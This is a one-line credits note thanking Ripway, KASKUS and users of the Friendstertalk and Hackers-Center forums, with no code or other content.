Thanks to: -Ripway -All user @Friendstertalk -KASKUS -All user @Hackers-Center